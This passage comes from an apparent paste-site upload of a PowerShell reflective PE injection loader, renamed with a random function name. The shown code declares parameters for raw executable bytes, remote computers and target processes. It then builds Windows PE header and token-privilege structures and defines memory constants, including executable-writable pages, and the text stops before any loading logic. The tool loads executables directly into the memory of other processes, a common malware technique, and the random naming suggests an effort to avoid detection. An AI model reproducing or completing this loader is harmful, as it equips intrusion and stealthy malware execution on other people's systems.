Untitled
raw download clone
TEXT
views 6
,
size 275549 b
function Invoke-RKKGLDWJOGONPXI
{

[CmdletBinding()]
Param(
    [Parameter(Position = 0, Mandatory = $true)]
    [ValidateNotNullOrEmpty()]
    [Byte[]]
    $PEBytes,

	[Parameter(Position = 1)]
	[String[]]
	$ComputerName,

	[Parameter(Position = 2)]
    [ValidateSet( 'WString', 'String', 'Void' )]
	[String]
	$FuncReturnType = 'Void',

	[Parameter(Position = 3)]
	[String]
	$ExeArgs,

	[Parameter(Position = 4)]
	[Int32]
	$ProcId,

	[Parameter(Position = 5)]
	[String]
	$ProcName,

    [Switch]
    $ForceASLR,

	[Switch]
	$DoNotZeroMZ
)

Set-StrictMode -Version 2


$RemoteScriptBlock = {
	[CmdletBinding()]
	Param(
		[Parameter(Position = 0, Mandatory = $true)]
		[Byte[]]
		$PEBytes,

		[Parameter(Position = 1, Mandatory = $true)]
		[String]
		$FuncReturnType,

		[Parameter(Position = 2, Mandatory = $true)]
		[Int32]
		$ProcId,

		[Parameter(Position = 3, Mandatory = $true)]
		[String]
		$ProcName,

        [Parameter(Position = 4, Mandatory = $true)]
        [Bool]
        $ForceASLR
	)

	Function Get-Win32Types
	{
		$Win32Types = New-Object System.Object

		$Domain = [AppDomain]::CurrentDomain
		$DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
		$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
		$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
		$ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]

		$TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16])
		$TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null
		$TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null
		$TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null
		$TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null
		$MachineType = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType


		$TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])
		$TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null
		$MagicType = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType


		$TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null
		$SubSystemType = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType


		$TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])
		$TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null
		$TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null
		$TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null
		$TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null
		$TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null
		$DllCharacteristicsType = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType



		$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8)
		($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null
		($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null
		$IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)
		$TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null
		$IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240)
		($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
		($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
		($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
		($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
		($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
		($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
		($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
		($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
		($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null
		($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
		($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
		($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
		($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
		($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
		($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
		($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
		($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
		($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
		($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
		($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
		($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
		($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
		($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
		($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null
		($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null
		($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null
		($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null
		($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null
		($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null
		($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
		($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
		($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
		($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
		($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
		($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
		($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
		($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
		($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
		($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
		($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
		($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
		($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
		($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
		($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null
		($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null
		$IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224)
		($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
		($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
		($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
		($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
		($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
		($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
		($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
		($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
		($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null
		($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null
		($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
		($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
		($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
		($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
		($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
		($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
		($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
		($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
		($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
		($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
		($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
		($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
		($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
		($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
		($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null
		($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null
		($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null
		($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null
		($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null
		($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null
		($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null
		($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null
		($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
		($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
		($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
		($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
		($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
		($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
		($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
		($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
		($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
		($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
		($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
		($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
		($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
		($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
		$IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264)
		$TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
		$TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null
		$IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)
		$TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
		$TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null
		$IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64)
		$TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null

		$e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal')
		$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
		$FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
		$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4))
		$e_resField.SetCustomAttribute($AttribBuilder)

		$TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null

		$e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal')
		$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
		$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10))
		$e_res2Field.SetCustomAttribute($AttribBuilder)

		$TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null
		$IMAGE_DOS_HEADER = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)

		$nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')
		$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
		$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))
		$nameField.SetCustomAttribute($AttribBuilder)

		$TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
		$IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8)
		$TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null
		$IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20)
		$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null
		$IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40)
		$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null
		$IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
		$TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
		$LUID = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12)
		$TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null
		$TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
		$LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16)
		$TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null
		$TOKEN_PRIVILEGES = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES

		return $Win32Types
	}

	Function Get-Win32Constants
	{
		$Win32Constants = New-Object System.Object

		$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000
		$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000
		$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01
		$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02
		$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04
		$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08
		$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10
		$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20
		$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40
		$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80
		$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200
		$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0
		$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3
